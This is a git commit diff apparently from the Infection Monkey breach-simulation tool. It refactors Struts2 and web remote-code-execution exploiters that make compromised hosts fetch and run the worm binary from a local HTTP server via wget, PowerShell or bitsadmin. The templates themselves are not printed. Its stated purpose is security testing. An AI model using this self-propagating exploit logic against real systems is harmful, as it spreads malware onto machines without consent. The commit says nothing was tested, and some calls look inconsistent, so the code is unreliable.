Almost all notes fixed, but nothing tested.

This commit is contained in:
Vakaris 2018-08-09 16:52:15 +03:00
parent d1a29872c4
commit 5232d84e06
4 changed files with 61 additions and 48 deletions

View File

@ -12,7 +12,7 @@ import logging
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools from tools import build_monkey_commandline, HTTPTools
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \
DROPPER_ARG DROPPER_ARG
__author__ = "VakarisZ" __author__ = "VakarisZ"
@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300 DOWNLOAD_TIMEOUT = 300
# Commands used to check if monkeys already exists
FIND_FILE = "ls %s"
class Struts2Exploiter(HostExploiter): class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter):
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path): def check_remote_file(self, host, path):
command = EXISTS % path command = FIND_FILE % path
resp = self.exploit(host, command) resp = self.exploit(host, command)
if 'No such file' in resp: if 'No such file' in resp:
return False return False
@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter):
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
command = WGET_HTTP % {'monkey_path': dropper_path, command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command) self.exploit(url, command)
@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter):
# We need to double escape backslashes. Once for payload, twice for command # We need to double escape backslashes. Once for payload, twice for command
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter):
@staticmethod @staticmethod
def check_exploit_windows(url): def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
if resp and ID_STRING in resp: if resp and ID_STRING in resp:
if "64-bit" in resp: if "64-bit" in resp:
return "64" return "64"
@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter):
@staticmethod @staticmethod
def check_exploit_linux(url): def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX) resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
if resp and ID_STRING in resp: if resp and ID_STRING in resp:
# Pulls architecture string # Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = re.search('(?<=Architecture:)\s+(\w+)', resp)

View File

@ -22,6 +22,7 @@ from network import local_ips
from network.firewall import app as firewall from network.firewall import app as firewall
from network.info import get_free_tcp_port, get_routes from network.info import get_free_tcp_port, get_routes
from transport import HTTPServer, LockedHTTPServer from transport import HTTPServer, LockedHTTPServer
from threading import Lock
class DceRpcException(Exception): class DceRpcException(Exception):
@ -387,9 +388,9 @@ class HTTPTools(object):
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod @staticmethod
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
""" """
Create http server for file transfer with lock Create http server for file transfer with a lock
:param host: Variable with target's information :param host: Variable with target's information
:param src_path: Monkey's path on current system :param src_path: Monkey's path on current system
:param lock: Instance of lock :param lock: Instance of lock
@ -397,6 +398,9 @@ class HTTPTools(object):
:param local_port: :param local_port:
:return: :return:
""" """
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port: if not local_port:
local_port = get_free_tcp_port() local_port = get_free_tcp_port()
@ -407,9 +411,10 @@ class HTTPTools(object):
return None, None return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.daemon = True httpd.daemon = True
httpd.start() httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@ -507,3 +512,30 @@ def get_binaries_dir_path():
def get_monkey_depth(): def get_monkey_depth():
from config import WormConfiguration from config import WormConfiguration
return WormConfiguration.depth return WormConfiguration.depth
def get_monkey_dest_path(src_path):
"""
Gets destination path from source path.
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from config import WormConfiguration
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
return False
try:
if 'linux' in src_path:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in src_path:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in src_path:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

View File

@ -6,12 +6,14 @@ from model import *
from posixpath import join from posixpath import join
import re import re
from abc import abstractmethod from abc import abstractmethod
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path
from network.tools import check_tcp_port, tcp_port_to_service from network.tools import check_tcp_port, tcp_port_to_service
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
# Commands used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s"
class WebRCE(HostExploiter): class WebRCE(HostExploiter):
@ -101,12 +103,11 @@ class WebRCE(HostExploiter):
""" """
url_list = [] url_list = []
if extensions: if extensions:
for idx, extension in enumerate(extensions): extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
if '/' in extension[0]:
extensions[idx] = extension[1:]
else: else:
extensions = [""] extensions = [""]
for port in ports: for port in ports:
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
for extension in extensions: for extension in extensions:
if port[1]: if port[1]:
protocol = "https" protocol = "https"
@ -126,6 +127,7 @@ class WebRCE(HostExploiter):
resp = self.exploit(url, ARCH_LINUX) resp = self.exploit(url, ARCH_LINUX)
if resp: if resp:
# Pulls architecture string # Pulls architecture string
# TODO TEST IF NOT FOUND
arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1) arch = arch.group(1)
if arch: if arch:
@ -145,8 +147,8 @@ class WebRCE(HostExploiter):
else: else:
return False return False
def check_remote_file(self, url, path): def check_remote_monkey_file(self, url, path):
command = EXISTS % path command = LOOK_FOR_FILE % path
resp = self.exploit(url, command) resp = self.exploit(url, command)
if 'No such file' in resp: if 'No such file' in resp:
return False return False
@ -163,36 +165,20 @@ class WebRCE(HostExploiter):
if 'linux' in self.host.os['type']: if 'linux' in self.host.os['type']:
paths.append(self._config.dropper_target_path_linux) paths.append(self._config.dropper_target_path_linux)
else: else:
paths.append(self._config.dropper_target_path_win_32) paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64])
paths.append(self._config.dropper_target_path_win_64)
for path in paths: for path in paths:
if self.check_remote_file(url, path): if self.check_remote_file(url, path):
return True return True
return False return False
def get_monkey_dest_path(self, src_path):
"""
Gets destination path from source path.
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
return False
try:
if 'linux' in src_path:
return self._config.dropper_target_path_linux
elif "windows-32" in src_path:
return self._config.dropper_target_path_win_32
else:
return self._config.dropper_target_path_win_64
except AttributeError:
LOG.error("Seems like configuration properties names changed. "
"Can not get destination path to upload monkey")
return False
# Wrapped functions: # Wrapped functions:
def get_ports_w(self, ports, names): def get_ports_w(self, ports, names):
"""
Get ports wrapped with log
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
"""
ports = WebRCE.get_open_service_ports(self.host, ports, names) ports = WebRCE.get_open_service_ports(self.host, ports, names)
if not ports: if not ports:
LOG.info("All default web ports are closed on %r, skipping", host) LOG.info("All default web ports are closed on %r, skipping", host)
@ -223,15 +209,11 @@ class WebRCE(HostExploiter):
return False return False
# Determine which destination path to use # Determine which destination path to use
LOG.debug("Monkey path found") LOG.debug("Monkey path found")
lock = Lock() path = get_monkey_dest_path(src_path)
path = WebRCE.get_monkey_dest_path(self._config, src_path)
if not path: if not path:
return False return False
# To avoid race conditions we pass a locked lock to http servers thread
lock.acquire()
# Create server for http download and wait for it's startup. # Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock) http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path)
lock.acquire()
if not http_path: if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.") LOG.debug("Exploiter failed, http transfer creation failed.")
return False return False
@ -252,7 +234,6 @@ class WebRCE(HostExploiter):
LOG.info("Powershell not found in host. Using bitsadmin to download.") LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = self.exploit(url, backup_command) resp = self.exploit(url, backup_command)
lock.release()
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
LOG.info("Uploading process finished") LOG.info("Uploading process finished")

View File

@ -29,7 +29,4 @@ CHECK_COMMAND = "echo %s" % ID_STRING
ARCH_WINDOWS = "wmic os get osarchitecture" ARCH_WINDOWS = "wmic os get osarchitecture"
ARCH_LINUX = "lscpu" ARCH_LINUX = "lscpu"
# Commands used to check if monkeys already exists
EXISTS = "ls %s"
DOWNLOAD_TIMEOUT = 300 DOWNLOAD_TIMEOUT = 300